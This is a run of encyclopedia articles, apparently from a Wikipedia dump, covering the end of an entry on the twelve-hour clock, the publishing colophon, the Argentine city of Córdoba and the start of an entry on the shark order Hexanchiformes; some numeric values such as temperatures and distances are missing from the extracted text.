In Japanese usage, midnight is written as (0:00 a.m.) and noon is written as (0:00 p.m.), making the hours numbered sequentially from 0 to 11 in both halves of the day.
In literature
In the George Orwell novel Nineteen Eighty-Four, Winston Smith describes a twelve-hour clock as "old-fashioned".
See also
24-hour clock
Clock position
Date and time representation by country
Decimal time
Italian six-hour clock
Midnight
Muhurta
Noon
Pahar
Thai six-hour clock
References
External links
NIST FAQ on time
12am is noon in Japan
Date and time representation
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241268 | https://en.wikipedia.org/wiki/Colophon%20%28publishing%29 | Colophon (publishing) | In publishing, a colophon () is a brief statement containing information about the publication of a book such as the place of publication, the publisher, and the date of publication. A colophon may include the device of a printer or publisher. Colophons are traditionally printed at the ends of books (see History below for the origin of the word), but sometimes the same information appears elsewhere (when it may still be referred to as colophon) and many modern (post-1800) books bear this information on the verso of the title-leaf, which is sometimes called a "biblio-page" or (when bearing copyright data) the "copyright-page".
History
The term colophon derives from the Late Latin colophōn, from the Greek κολοφών (meaning "summit" or "finishing touch").
The term colophon was used in 1729 as the bibliographic explication at the end of the book by the English printer Samuel Palmer in his The General History of Printing, from Its first Invention in the City of Mentz to Its first Progress and Propagation thro' the most celebrated Cities in Europe. Thereafter, colophon has been the common designation for the final page that gives details of the physical creation of the book.
The existence of colophons can be dated back to antiquity. Zetzel, for example, describes an inscription from the 2nd century A.D., transmitted in humanistic manuscripts. He cites the colophon from Poggio's manuscript, a humanist from the 15th century:
Statili(us) / maximus rursum em(en)daui ad tyrone(m) et laecanianu(m) et dom̅ & alios ueteres. III. (‘I, Statilius Maximus, have for the second time revised the text according to Tiro, Laecanianus, Domitius and three others.’)
A common colophon at the end of hand copied manuscripts was simply "Finished, thank God."
Colophons can be categorized into four groups. Assertive colophons provide the contextual information about the scribe and manuscript. Expressive colophons demonstrate the scribe's feelings and wishes. Directive colophons make the reader do something, and the declarative colophons do something with the reader.
Examples of expressive colophons:
"I have made an end at last, and my weary hand can rest."
"Now that I an end have made, See that what I'm owed is paid."
"May the writer continue to copy, and drink good wine."
Example of directive colophons:
O beatissime lector, lava manus tuas et sic librum adprehende, leniter folia turna, longe a littera digitos pone. ("O most gracious reader, wash your hands and touch the book only like this: turn the pages softly and keep your fingers far away from the text".)
Example of declarative colophons:
Si quis et hunc sancti sumit de culmine galli / Hunc Gallus paulusque simul dent pestibus amplis ("If anybody takes this book from Gall’s estate, Gall and Paulus together shall inflict the plague upon him".)
The term is also applied to clay tablet inscriptions appended by a scribe to the end of an Ancient Near East (e.g., Early/Middle/Late Babylonian, Assyrian, Canaanite) text such as a chapter, book, manuscript, or record. The colophon usually contained facts relative to the text such as associated person(s) (e.g., the scribe, owner, or commissioner of the tablet), literary contents (e.g., a title, "catch phrases" (repeated phrases), or number of lines), and occasion or purpose of writing. Colophons and catch phrases helped the reader organize and identify various tablets, and keep related tablets together. Positionally, colophons on ancient tablets are comparable to a signature line in modern times. Bibliographically, however, they more closely resemble the imprint page in a modern book.
Examples of colophons in ancient literature may be found in the compilation The Ancient Near East: Supplementary Texts and Pictures Relating to the Old Testament (2nd ed., 1969). Colophons are also found in the Pentateuch, where an understanding of this ancient literary convention illuminates passages that are otherwise unclear or incoherent. Examples are Numbers 3:1, where a later (and incorrect) chapter division makes this verse a heading for the following chapter instead of interpreting it properly as a colophon or summary for the preceding two chapters, and Genesis 37:2a, a colophon that concludes the histories (toledot) of Jacob.
An extensive study of the eleven colophons found in the book of Genesis was done by Percy John Wiseman. Wiseman's study of the Genesis colophons, sometimes described as the Wiseman hypothesis, has a detailed examination of the catch phrases mentioned above that were used in literature of the second millennium B.C. and earlier in tying together the various accounts in a series of tablets.
Printed books
In early printed books the colophon, when present, was a brief description of the printing and publication of the book, giving some or all of the following data: the date of publication, the place of publication or printing (sometimes including the address as well as the city name), the name(s) of the printer(s), and the name(s) of the publisher(s), if different. Sometimes additional information, such as the name of a proofreader or editor, or other more-or-less relevant details, might be added. A colophon might also be emblematic or pictorial rather than in words. The normal position for a colophon was after the explicit (the end of the text, often after any index or register). After around 1500 these data were often transferred to the title page, which sometimes existed in parallel with a colophon.
Colophons sometimes contained book curses, as this was the one place in a medieval manuscript where a scribe was free to write what he wished. Such curses tend to be unique to each book.
In Great Britain, colophons grew generally less common in the 16th century. The statements of printing which appeared (under the terms of the Unlawful Societies Act 1799) on the verso of the title-leaf and final page of each book printed in Britain in the 19th century are not, strictly speaking, colophons, and are better referred to as "printers' imprints" or "printer statements".
In some parts of the world, colophons helped fledgling printers and printing companies gain social recognition. For example, in early modern Armenia printers used colophons as a way to gain "prestige power" by getting their name out into the social sphere. The use of colophons in early modern Armenian print culture is significant as well because it signaled the rate of decline in manuscript production and scriptoria use, and conversely the rise and perpetuation of printing for Armenians.
With the development of the private press movement from around 1890, colophons became conventional in private press books, and often included a good deal of additional information on the book, including statements of limitation, data on paper, ink, type, and binding, and other technical details. Some such books include a separate "Note about the type", which will identify the names of the primary typefaces used, provide a brief description of the type's history, and a brief statement about its most identifiable physical characteristics.
Some commercial publishers took up the use of colophons and began to include similar details in their books, either at the end of the text (the traditional position) or on the verso of the title-leaf. Such colophons might identify the book's designer, the software used, the printing method, the printing company, the typeface(s) used in the page design and the kind of ink, paper, and its cotton content. Book publishers Alfred A. Knopf, the Folio Society and O'Reilly Media are notable for their substantial colophons.
Websites
Some web pages also have colophons, which frequently contain (X)HTML, CSS, or usability standards compliance information and links to website validation tests.
See also
Edition notice
Flannel panel
Indicia
Jerusalem Colophon
Union label and printer's mark
Wiseman hypothesis
References
Sources
Book design
Book terminology
Colophon
Publishing
Scribes
Typography | [
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241269 | https://en.wikipedia.org/wiki/C%C3%B3rdoba%2C%20Argentina | Córdoba, Argentina | Córdoba () is a city in central Argentina, in the foothills of the Sierras Chicas on the Suquía River, about northwest of the Buenos Aires. It is the capital of Córdoba Province and the second most populous city in Argentina after Buenos Aires, with about 1.3 million inhabitants according to the 2010 census. It was founded on 6 July 1573 by Jerónimo Luis de Cabrera, who named it after Córdoba, Spain. It was one of the early Spanish colonial capitals of the region that is now Argentina (the oldest city is Santiago del Estero, founded in 1553). The National University of Córdoba is the oldest university of the country and the seventh to be inaugurated in Spanish America. It was founded in 1613 by the Jesuit Order. Because of this, Córdoba earned the nickname La Docta ("the learned").
Córdoba has many historical monuments preserved from Spanish colonial rule, especially buildings of the Catholic Church. The most recognizable is perhaps the Jesuit Block (Spanish: Manzana Jesuítica), declared in 2000 as a World Heritage Site by UNESCO which consists of a group of buildings dating from the 17th century, including the Colegio Nacional de Monserrat and the colonial university campus. The campus belongs today to the historical museum of the National University of Córdoba, which has been the second-largest university in the country since the early 20th century (after the University of Buenos Aires), in number of students, faculty, and academic programs. Córdoba is also known for its historical movements, such as Cordobazo and La Reforma del '18 (known as University Revolution in English).
History
First settlement
In 1570, Viceroy Francisco de Toledo entrusted the Spanish settler Jerónimo Luis de Cabrera, with the task of populating and founding a settlement in the Punilla Valley. Cabrera sent an expedition of 48 men to the territory of the Comechingones. He divided the principal column that entered through the north of the provincial territory at Villa María.
The one hundred man expedition set foot on what today is Córdoba on 24 June 1573. Cabrera called the nearby river San Juan (today Suquía). The settlement was officially founded on 6 July of the same year and named Córdoba de la Nueva Andalucía, possibly in honour of ancestors of the founder's wife, originally from Córdoba, Spain. The foundation of the city took place on the left bank of the river on Francisco de Torres' advice.
The settlement was inhabited by aboriginal people called Comechingones, who lived in communities called Ayllus. After four years, having repelled attacks by the aborigines, the settlement's authorities moved it to the opposite bank of the Suquía River in 1577. The Lieutenant Governor at the time, Don Lorenzo Suárez de Figueroa, planned the first layout of the city as a grid of 70 blocks. Once the city core had been moved to its current location, it acquired a stable population. Its economy blossomed due to trade with the cities in the north.
In 1599, the religious order of the Jesuits arrived in the settlement. They established a Novitiate in 1608 and, in 1610, the Colegio Maximo, which became the University of Córdoba in 1613 (today National University of Córdoba), the fourth-oldest in the Americas. The local Jesuit church remains one of the oldest buildings in South America and contains the Monserrat Secondary School, a church, and residential buildings. To maintain such a project, the Jesuits operated five Reducciones in the surrounding fertile valleys, including Caroya, Jesús María, Santa Catalina, Alta Gracia and Candelaria.
The farm and the complex, started in 1615, had to be vacated by the Jesuits following the 1767 decree by King Charles III of Spain that expelled them from the continent. They were then run by the Franciscans until 1853, when the Jesuits returned to the Americas. Nevertheless, the university and the high-school were nationalized a year later.
Each Estancia has its own church and set of buildings, around which towns grew, such as Alta Gracia, the closest to the Block.
Early European settlement
In 1776, King Carlos III created the Viceroyalty of the Río de la Plata, in which Córdoba stays in 1785 as the Government Intendency of Córdoba, including the current territories of the provinces of Córdoba, La Rioja and the region of Cuyo.
According to the 1760 census, the population of the city was 22,000 inhabitants. During the May Revolution in 1810, the widespread opinion of the most notable citizens was of continuing respecting the orders of Fernando VII, attitude assumed by the local authorities, which led to the Liniers Counter-revolution. This position was not shared by the Dean Gregorio Funes, who was adhering to the revolutionary ideas, beside supporting contact with Manuel Belgrano and Juan José Castelli.
In March 1816, the Argentine Congress met in Tucumán for an independence resolution. Córdoba sent Eduardo Pérez Bulnes, Jerónimo Salguero de Cabrera, José Antonio Cabrera, and to the Canon of the cathedral Michael Calixto of the Circle, all of them of autonomous position.
The 1820s belonged to caudillos, since the country was in full process of formation. Until 1820 a central government taken root in Buenos Aires existed, but the remaining thirteen provinces felt that after 9 July 1816 what had happened it was simply a change of commander. The Battle of Cepeda pitted the commanders of the Littoral against the inland forces.
Finally, the Federales obtained the victory, for what the country remained since then integrated by 13 autonomous provinces, on the national government having been dissolved.
From this way the period known like about the Provincial Autonomies began. From this moment the provinces tried to create a federal system that was integrating them without coming to good port, this mainly for the regional differences of every province.
Two Córdoba figures stood out in this period: Governor Juan Bautista Bustos, who was an official of the Army of the North and in 1820 was supervised by the troops quartered in Arequito, a town near Córdoba, and his ally and later enemy, General José María Paz. In 1821, Bustos repelled the invasion of Córdoba on the part of Francisco Ramírez and his Chilean ally, General José Miguel Carrera. The conflict originated in a dispute with the power system that included the provinces of Buenos Aires, Córdoba and Santa Fe; according to the 1822 census the total population of Córdoba was of 11,552 inhabitants.
Contemporary history
At the end of the 19th century the process of national industrialization began with the height of the economic agro-exporting model, principally of meats and cereals. This process is associated with the European immigration who began to settle the city, generally possessing the education and enterprising capacity appropriate for the development of industry. The majority of these European immigrants came from Italy (initially from Piedmont, Veneto and Lombardy; later from Campania and Calabria), and Spain (mostly Galicians and Basques)
At the beginning of the 20th century the city had 90,000 inhabitants. The city's physiognomy changed considerably following the construction of new avenues, walks and public squares, as well as the installation of an electrified tram system, in 1909. In 1918, Córdoba was the epicentre of a movement known as the University Reform, which then spread to the rest of the Universities of the country, Americas and Spain.
The development of the domestic market, the British investments that facilitated European settlement, the development of the railways on the pampas rapidly industrialized the city. Córdoba's industrial sector first developed from the need to transform raw materials such as leather, meats and wool for export.
In 1927, the Military Aircraft Manufacturer (FMA) was inaugurated. The facility would become one of the most important in the world after World War II with the arrival of German technical personnel. From 1952, its production began to diversify, to constitute the base of the former Institute Aerotécnico, the state-owned company Aeronautical and Mechanical Industries of the State (IAME). Córdoba was chosen as the site of The Instituto Aerotécnico that later became the Fábrica Militar de Aviones. It employed the Focke Wulf men until President Juan Perón was ousted by a coup in 1955. Lockheed Martin purchased FMA in 1995.
Córdoba, according to the census of 1947, had almost 400,000 inhabitants (a quarter of the province's total). Subsequent industrial development led thousands of rural families to the city, doubling its population and turning Córdoba into the second largest city in Argentina, after Buenos Aires, by 1970. The city's population and economic growth moderated, afterwards, though living standards rose with the increase in the national consumption of Córdoba's industrial products, as well as the development of other sectors of economic activity.
At times rivaling Buenos Aires for its importance in national politics, Córdoba was the site of the initial mutiny leading to the 1955 Revolución Libertadora that deposed President Juan Perón and the setting for the 1969 Cordobazo, a series of violent labor and student protests that ultimately led to elections in 1973. Córdoba's current economic diversity is due to a vigorous services sector and the demand for agro-industrial and railway equipment and, in particular, the introduction of U.S. and European automakers after 1954.
Geography
The city's geographic location is , taking as a point of reference San Martín Square in downtown Córdoba. The relative location of the municipal common land, is in the south hemisphere of the globe, to the south of the South American subcontinent, in the geographical centre – west of Argentina and of the province of Córdoba; to a distance of from Buenos Aires and from the city of Rosario
As per the provincial laws No. 778 14 December 1878, Not. 927 20 October 1883, and Not. 1295 29 December 1893, the limits of the city of Córdoba are delineated in the northern part, South, East and West located to from San Martín Square which means that the common land has from side. The city, adjoins in the northern territory with Colón Department summarizing a total surface of 562.
Geology
The city is located in the plain of the Humid Pampa, to the east of the oriental cord of Córdoba Hills or Sierras Chicas, also known as the Sierras Cordobesas, which has an average height of 550 m. It spreads at the foot of the mount, on both banks of the River Suquía, and flows into the San Roque reservoir; from there, the Primero River goes east into the plains surrounding the city of Córdoba.
Once inside the city, the La Cañada stream meets the Rio Primero near the city centre area. Two kilometers to the east, Isla de los Patos (Ducks Island) was repopulated with ducks and swans in the 1980s. It was reported in March 2006 that a large number of ducks had died due to unspecified causes. Pollution caused by chemical waste is suspected as the cause, but avian influenza is also being investigated.
Beyond the city limits, the river flows towards the Algarrobos swamp and ends its course on the southern coast of the Mar Chiquita (or Mar de Ansenuza) salt lake. All in all, the river has a length of approximately and carries, on average, 9.7 m³/s, with minimum of 2 m³/s and maximum of 24 m³/s with a peak during the summer months.
Pollution of the water and of the riverbank is a major environmental issue in Córdoba. Periodic cleaning operations are carried out to increase the quality of the water and to preserve the viability of fishing, both in the San Roque reservoir area and downstream.
Climate
The climate of the city of Córdoba, and that of most of the province, is humid subtropical (Cwa, according to the Köppen climate classification), moderated by the Pampas winds, cold winds that blow from the South-western quadrant, which originate in Antarctica.
There are four marked seasons. Summers run from late November till early March, and bring days between and and night between and with frequent thunderstorms. Heat waves are common, and bring days with temperatures over and hot, sticky nights; however, Pampero winds are sure to bring relief with thunderstorms and a day or two of cool, crisp weather: nighttime temperatures can easily descend to or less, but the heat starts building up right away the next day.
By late February or early March, nights start getting cooler and, in March, highs average and lows ; after cold fronts, lows below and highs below are recorded in this month.
April is significantly drier already; highs reach on average and lows , creating very pleasant conditions. In some years, temperatures can approach or even reach the freezing point in late April; however, heat waves of up to are still possible, but nights are rarely as hot as in the summer.
May usually brings the first frosts, and very dry weather, with under of rain expected. Highs average and lows average ; however, when cold waves reach the area, highs may stay below and lows can be well below freezing.
Winter lasts from late May till early September, and bring average highs of and lows of . However, strong northwesterly winds downsloping from the mountains can bring what is known as "Veranito" (little summer) with highs of up to or more and dusty, windy weather (but dry, pleasant nights) for 2–3 days. Conversely, when storms stall over the Atlantic coast, there may be several days of drizzle and cool weather, and when cold air masses invade the country from Antarctica (several times every winter), there may be one or two days with temperatures around , drizzle and high winds (which combined make it feel very cold), followed by dry, cold weather with nighttime lows between and and daytime highs between and . Snowfall is very rare in the city, but more frequent in the outskirts where the Sierras begin ; sleet may fall every once in a while. The record low temperature for Córdoba is . In June, only of rain are expected, compared to in January.
Spring is extremely variable and windy: there may be long stretches of cool, dry weather and cold nights followed by intense heat waves up to , followed by the most severe thunderstorms with hail and high winds. It is not unusual to see temperatures drop from one day to another, or to have frost following extreme heat. Drought is most common in this season, when the normal summer rainfall arrives later than expected.
By October, days are warm at but nights remain cold at , by late November, the weather resembles summer weather with cooler nights.
The wealthier suburbs west of the city are located at slightly higher altitudes, which allows cool breezes to blow in the summer, bringing drier, comfortable nights during hotter periods, and more regular frost in the winter. Generally speaking, Córdoba's daytime temperatures are very slightly warmer than Buenos Aires' but nighttime lows are usually cooler, especially in the winter. This, combined with a lower humidity and the possibility of fleeing to higher altitudes minutes away from the city centre, makes the climate a bit more comfortable than in the capital.
The variations or thermal extents are greater than in Buenos Aires, and lower in annual rainfall: / year. The annual average temperature calculated during the 20th century was 18 °C. In January, the hottest month of the austral summer, the average maximum is 31 °C and the minimum 17 °C.
In July, the coldest month of the year, the average temperatures are between 19 °C and 3 °C.
In winter it is very frequent that temperatures rise above 30 °C, due to the influence of the wind Zonda.
Due to the extension of the metropolitan area, there exists a difference of 5 °C between the central area and the Greater Córdoba. The central district, a dense high-rise area is located in a depression, and it is the core of an important heat island. In addition the city presents a phenomenon of smog, but not so dense as to present health concerns.
Demographics
Ethnicity
The largest ethnic groups in Córdoba are Italians/Italian Argentine and Spaniards/Spanish Argentine (mostly Galicians and Basques/Basque Argentine). Waves of immigrants from other European countries arrived in the late 19th and early 20th centuries. From the rest of Western Europe came immigrants from Switzerland, Germany, United Kingdom, Ireland and Scandinavia (especially Sweden). Other Europeans also arrived from nations such as Croatia, Poland, Hungary, Russia, Romania, Ukraine, Armenia and the Balkans (especially Greece, Serbia and Montenegro). By the 1910s, 43 percent of the city population was non-native Argentine after immigration rates peaked. Important Lebanese, Georgian, Syrian and Armenian communities have had a significant presence in commerce and civic life since the beginning of the 20th century.
Most immigrants, regardless of origin, settled in the city or around Greater Córdoba. However, in the early stages of immigration, some formed settlements (especially agricultural settlements) in different parts of the city, often encouraged by the Argentine government and/or sponsored by private individuals and organizations.
Demographic distribution
Córdoba is the second largest city in the country in population and concentrates 40.9% of the Córdoba Province population of 3,216,993 inhabitants and represents almost 3.3% of the Argentine population, which according to estimates to June 2008, reached 39,745,613 inhabitants. Driven by migration both domestic and from abroad, the city's rate of population growth was an elevated 3.2% annually from 1914 to 1960; but, it has been declining steadily since then, and has averaged around 0.4% a year, since the national census of 2001.
According to the last provincial census of 2008, the city has 1,315,540 inhabitants, representing an increase of 3.78% with regard to the 1,267,521 registered during the national census of 2001.
Greater Córdoba is the metropolitan area of the city of Córdoba, a union of medium localities of the department Colón, from the north to the south. Greater Córdoba is the second-largest urban agglomeration in Argentina in both population and surface area.
The growth of the metropolitan area was not equal in all directions, it spreads approximately up to to the northwest of the Córdoba city centre in a thin succession of small localities. This is almost the maximum distance from the Buenos Aires city center to the most distant of its metropolitan area points; whereas in the rest of the cardinal points it comes to .
The city receives a constant flow of students from the northeastern and southwestern regions of Argentina and of other South American countries, owed principally to the National University of Córdoba, which increases gradually the city population. Córdoba grows constantly, expanding especially towards the southern areas of Alta Gracia and Villa Carlos Paz.
Urban structure
The use of the city soil is regulated by the municipality, which determines and destines 26,177 hectares to urban area (40.24%), 12,267 hectares to the industrial dominant area (21.3%), 16,404 hectares to rural area dominant (28.45%) and 5,750 hectares to other uses as military proposes, or institutional spaces (9.98%) of the total area of the city.
Green spaces include different types of spaces, from squares, small squares, up to urban, green linear parks of different scales as the river Suquia, bicycle pathways and highways). The surface supported by the Municipality of Córdoba in character of green Urban adds approximately 1645 hectares.
The historical centre is shaped by quadrangular blocks of some hundred thirty meters of side. The disposition of the neighborhoods and principal avenues is radial. From the city centre district large avenues that lead to the most peripheral neighborhoods are born. In conformity with the demographic growth the city has expanded principally to the northwest and to the southeast, following the trace of the National Route 9.
The governor, Juan Schiaretti, finalized the Circunvalaciónon 6 July 2019, by building the last 2,8 km from La Cañanada to Fuerza Aerea. This ended the construction of the 47 km long ring road motorway, which takes almost 34 minutes to complete.
Districts
Córdoba is home to one of the most important financial districts in South America. The district is home to the Bank of Córdoba and other private banking institutions. Sightseeing places include San Martín Square, the Jesuit Block (declared UNESCO World Heritage Site) and the Genaro Pérez Museum. The streets mostly follow a regular checkerboard pattern, and the main thoroughfares are Vélez Sarsfield, Colón, General Paz, Dean Funes Avenue, and 27 April Street. The point of origin of the city is the San Martin Square, surrounded by the Municipality and Central Post Office.
Downtown Córdoba is home of large shopping malls, notably Patio Olmos. This mall is the result of a massive regeneration effort, recycling and refurbishing the west side old warehouses into elegant offices and commercial centres. An important cultural point of interest is the Palacio Ferreyra, a mansion built in 1916 based on plans by the French architect, Ernest Sanson. The Ferreyra palace was converted into the Evita Perón Museum of Fine Arts (the city's second) in 2007. Located at the corner of Hipólito Yrigoyen and Chacabuco Avenues, it has now been restored and adapted to house the city's principal art gallery.
New Córdoba has a number of important avenues such as Yrigoyen and Vélez Sarsfield. Most of the university students in this growing city live in this neighbourhood, and a recent construction boom has been transforming this upscale area into the fastest-growing section in the city.
Ciudad Universitaria is a district located in the southern area of the city, next to the Sarmiento Park, the city's most important one. The Universidad Nacional de Córdoba (UNC) has most of its facilities in this area. The UNC was the first university built in Argentina, founded by Jesuits around 1622. The Universidad Nacional de Córdoba is also famous for the "Reforma Universitaria", a student-led protest that started in March 1918 in the Medical School, in which the students rebelled against the prevailing university system. This was an old anachronistic system in which professors were authoritarian and inefficient, with a religiously oriented curriculum. Eventually this revolt lead to a more secular curriculum and some significant re-structuring of the university government. The distinctive nature of the movement derived not only from its radical demands, but also from its extremist tactics, the level of sophistication of its organization, and its major continental impact. In fact, the Reform Movement rapidly spread from Córdoba to Lima (1919), Cuzco (1920), Santiago de Chile (1920), and Mexico (1921). Another important university, the UTN, dedicated to the teaching of engineering sciences, is located in this part of the city. There are also a gym and football stadium and tennis courts for the students. The Córdoba Zoo is located in this district.
Located about from downtown Córdoba is the Cerro de Las Rosas. This very affluent neighborhood is famous for its schools, shops and educational institutions. This neighborhood's economic activity centers around the Rafael Núñez Avenue, a long wide road that stretches for a few kilometers and has restaurants, boutiques, banks and other shops. Over the last decade, this neighborhood has experienced steady growth; however, some of its most affluent inhabitants have moved to gated communities for security reasons. Some of these communities, such as "Las Delicias" and "Lomas de los Carolinos", are in the old Camino a La Calera.
Transportation
The Córdoba public transport system includes trains, buses, trolleybuses and taxis. Long-distance buses reach most cities and towns throughout the country.
The city is served by the nation's third-largest airport Ingeniero Ambrosio L.V. Taravella International Airport.
Buses
Buses are, by far, the most popular way of transportation around Córdoba Province. There are many different companies that provide long distance, short distance and urban services. They all have their own prices, that are not cheap compared to the rest of Argentina. Córdoba is one of the Provinces with higher transportation rates. Urban buses used to be paid with a card called RedBus
Railway
Rail transport in Córdoba has commuter and long-distance services, all operated by state-owned Trenes Argentinos. From the Mitre railway station depart trains to Villa María while the Tren de las Sierras connects the cities of Alta Córdoba with Cosquín.
From Retiro station of Buenos Aires trains reach Córdoba twice a week with an estimated journey time of 18 hours. Many people choose the train because is really cheap, but it takes almost twice the time that would take to do the same trip by bus (around eight hours).
The Tren de las Sierras is a tourist service that crosses part of the Valle de Punilla, Quebrada del Río Suquía and borders the Dique San Roque's Lake. It has two services per day with an additional service on weekends. It takes between 2 and 3 hours to go from Alta Córdoba Station to Cosquín.
Córdoba has two railway stations, the Córdoba (Mitre) originally built by the Central Argentine R. in 1886. That station has been an intermediate stop for trains to Tucumán, successively operated by Ferrocarriles Argentinos and then by private consortiums such as Ferrocentral. The other station is Alta Córdoba, built and operated by British-owned Córdoba North Western in 1891, and currently terminus of Tren de las Sierras.
Railway stations in the city of Córdoba are:
High-speed rail project
The Argentine government had projected to build a high-speed train between Buenos Aires-Rosario-Córdoba. It would eventually join Córdoba and Buenos Aires, with an intermediate stop in Rosario, in about 3 hours at speeds of up to . Originally scheduled to be started in 2008, with its inauguration in 2010, the project was finally dismissed in December 2012. The total cost of the rail had been estimated at US$4,000,000,000. French company Alstom, that had won the tender to build high-speed rail, admitted to have paid bribes to the Argentine authorities.
Metro
On 10 December 2007 it was announced that a consortium of Iecsa/Gela companies was to build a US$1.1 billion metro system in Córdoba. In April 2008, President Cristina Fernández de Kirchner, signed the project into law. The project has been suspended since 2012.
Córdoba Public Transportation statistics
The average amount of time people spend commuting with public transit in Córdoba, for example to and from work, on a weekday is 64 min. 13.8% of public transit riders, ride for more than two hours every day. The average amount of time people wait at a stop or station for public transit is 21 min, while 43.% of riders wait for over 20 minutes on average every day. The average distance people usually ride in a single trip with public transit is 5 km, while 4% travel for over 12 km in a single direction.
Economy
Since World War II, Córdoba has been developing a versatile industrial base. The biggest sectors is car and car parts manufacturing: Renault has a factory which produces a range of cars and Volkswagen has a factory specialized in the production of gearboxes. The capital goods company CNH Industrial has also a factory in the city. Many suppliers (both local and foreign) manufacture car parts for these operations. Additionally, starting in 2017–2018, Nissan and Mercedes-Benz will begin the production of their new pickup truck at the Renault factory. Railway construction (Materfer) and aircraft construction (Fábrica Militar de Aviones) were once significant employers, but their activities have greatly diminished. Furthermore, there are some textile, heavy and chemical industries (e.g. Porta for alcohol).
Areas around Córdoba produce vast amounts of agricultural products, and some of these are processed around the city. Additionally, the province is one of the main producers of agricultural machinery in the country, although most of these operations are not in the city itself. Candy company Arcor is headquartered in the city.
Córdoba has been considered the technological centre of Argentina. The Argentine spaceport (Centro Espacial Teófilo Tabanera), where satellites are being developed and operated for CONAE, is located in the suburb of Falda del Carmen. The software and electronic industries are advancing and becoming significant exporters; among the leading local employers in the sector are Motorola, Vates, Intel, Electronic Data Systems, and Santex América.
The city also has a service-based economy focused on retail, professional services and financial services, where the main local player is credit card provider Tarjeta Naranja. It has recently emerged as a start-up hub with a growing number of angel investors, in part due to the availability of people with technology-oriented skills.
Sports
Association football is the most popular sport in Córdoba as well as in Argentina. Several leagues and divisions compete in the local championship annually. The city currently has one representative in the Argentine First Division, Talleres. Other lower-division sides in Córdoba include Belgrano , Instituto de Córdoba and Racing de Córdoba.
Basketball is the second-most popular sport in Córdoba. Asociación Deportiva Atenas is the most popular club, and one of the most successful in Argentina, having won the National League (LNB) seven times, and being three times winner of the South American League. Córdoba was one of the host cities of the official Basketball World Cup for its 1967 and 1990 editions.
Rugby union is also a very popular sport in Córdoba, which has close to 20 teams with many divisions. Tala Rugby Club, Club La Tablada, Córdoba Athletic Club (one of the oldest clubs in Argentina and founded by the British who worked in the building of the Argentine Railroads around 1882), Jockey Club Córdoba, and Club Universitario de Córdoba are some of the most prestigious teams. Córdoba is one of the strongest rugby places in Argentina, and is the home of many international players. Many of the great players in Argentina and Italy began their careers in the Córdoba's rugby clubs.
Golf and tennis are also very popular; notable players that started playing in Córdoba include Ángel "Pato" Cabrera and Eduardo "Gato" Romero (b. 1954) in golf and David Nalbandian in tennis.
The Argentine stage of the World Rally Championship has been run near Córdoba since 1984.
Motorsport events also take place at Autódromo Oscar Cabalén, such as TC2000 but has hosted Stock Car Brasil and Formula Truck.
Education
Córdoba has long been one of Argentina's main educational centers, with 6 universities and several postsecondary colleges. Students from the entire country, as well as neighbouring countries attend the local universities, giving the city a distinct atmosphere.
The National University of Córdoba, established since 1613, is the 4th oldest in the Americas and the first in Argentina. It has about 105,000 students, and offers degrees in a wide variety of subjects in the sciences, applied sciences, social sciences, humanities and arts.
The Córdoba Regional Faculty is a branch of the National Technological University in Córdoba, offering undergraduate degrees in engineering (civil, electrical, electronic, industrial, mechanical, metallurgy, chemical and information), as well as master's degrees in engineering and business, and a PhD program in engineering and materials.
The Catholic University of Córdoba is the oldest private university in Córdoba, it has nearly 10,000 students.
The Aeronautic University Institute, run by the Argentine Air Force, offers degrees in aeronautical, telecommunications and electronic engineering, as well as information systems, accounting, logistics and administration.
The Instituto Tecnológico Córdoba was created jointly by the six universities located in the city to support technological development in the region.
Furthermore, the Universidad Siglo 21 and Universidad Blas Pascal are private universities in the city.
The Air Force Academy and the Air Force NCOs School are both located in the city outskirts.
There is an Italian international school, Escuela Dante Alighieri.
The area once had a German school, Deutsche Schule Cordoba.
Culture
Literature
The Literary activity flourished in the city at the beginning of the last century. Córdoba was the city of Leopoldo Lugones, Arturo Capdevila and Marcos Aguinis, among many other prestigious writers. Among the city's best-known museums are the Caraffa Fine Arts Museum, founded in 1916, and the Evita Fine Arts Museum, founded in 2007. The Paseo del Buen Pastor, a cultural center opened in 2007, features an art museum, as well as a shopping gallery devoted to local vintners, cheese makers, leather crafters and other artisans.
Music
The typical music in Córdoba is the cuarteto, heard in many parties and pubs. Among the most popular cuarteto singers are Carlos La Mona Jiménez (b. 1951), Rodrigo, La Barra and Jean Carlos. The places they usually sing are named bailes (dances). One of the first groups was Cuarteto de Oro.
Other music styles popular with the youth are electronic music (or electro), as well as reggaeton. These are commonly played at boliches, as night clubs are known in Argentina. Córdoba is sometimes referred to as "the nightlife city" (or "the city that never sleeps"), because of its wide range of clubs and teenage matinées (dancing clubs).
Córdoba's rich musical culture also encompasses classical, jazz, rock and pop, in a variety of venues.
Teatro Libertador San Martín regularly features concerts, operas, folk music, and plays.
Monuments
Córdoba has many historical monuments left over from the colonial era. In the centre, near the Plaza San Martín square, is the Jesuit Cathedral, whose altar is made of stone and silver from Potosí. Every ornament inside is made of gold and the roof is all painted with different images from the Bible. Another important historic building is the Cabildo (colonial government house), located next to the church. The Jesuit Block, the Monserrat School, the University and the church of the Society of Jesus are also located in Córdoba.
In Nueva Córdoba, it is situated "Iglesia del Sagrado Corazón de Jesús", also known as "Los Cappuchinos". This is an example of Neo Gothic style.
Festivals
The first festival of the year is in February, the Carnival, where children enjoy throwing water balloons at each other on the street.
Then in the middle of the year, on 20 July, Friends Day is celebrated. Usually, most of the teenagers meet at Parque de las Naciones or Parque Sarmiento and spend the afternoon there. At night, they go dancing to different places, and enjoy a drink.
The last festival is Spring Day, held on 21 September, which is Students' Day. Many go to the park or spend the day in the nearby city of Villa Carlos Paz. There they can enjoy concerts, dancing, going downtown or visiting the river bank.
Notable people
Rodrigo Bueno (1973-2000), cuarteto composer
Don Fabian, bolero composer
Luis Lima (b. 1948), operatic tenor
Ángel Cabrera (b. 1969), golf player
David Nalbandian (b. 1982), tennis player
Fabricio Oberto (b. 1975), basketball player
Paulo Dybala (b. 1993), football player
Paulo Londra (b. 1998), rapper
Facundo Gambandé (b. 1990), actor and singer
Viviana Rivero (b. 1966), writer
Darío Zárate (b. 1977), football player
Lucas Zelarayán (b. 1992), football player (Armenia national team)
Gallery
Notes
References
External links
Populated places in Córdoba Province, Argentina
Capitals of Argentine provinces
Populated places established in 1573
World Heritage Sites in Argentina
Cities in Argentina
1573 establishments in the Spanish Empire
1573 establishments in South America | [
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241270 | https://en.wikipedia.org/wiki/Hexanchiformes | Hexanchiformes | The Hexanchiformes are the order consisting of the most primitive types of sharks, and numbering just seven extant species. Fossil sharks that were apparently very similar to modern sevengill species are known from Jurassic specimens.
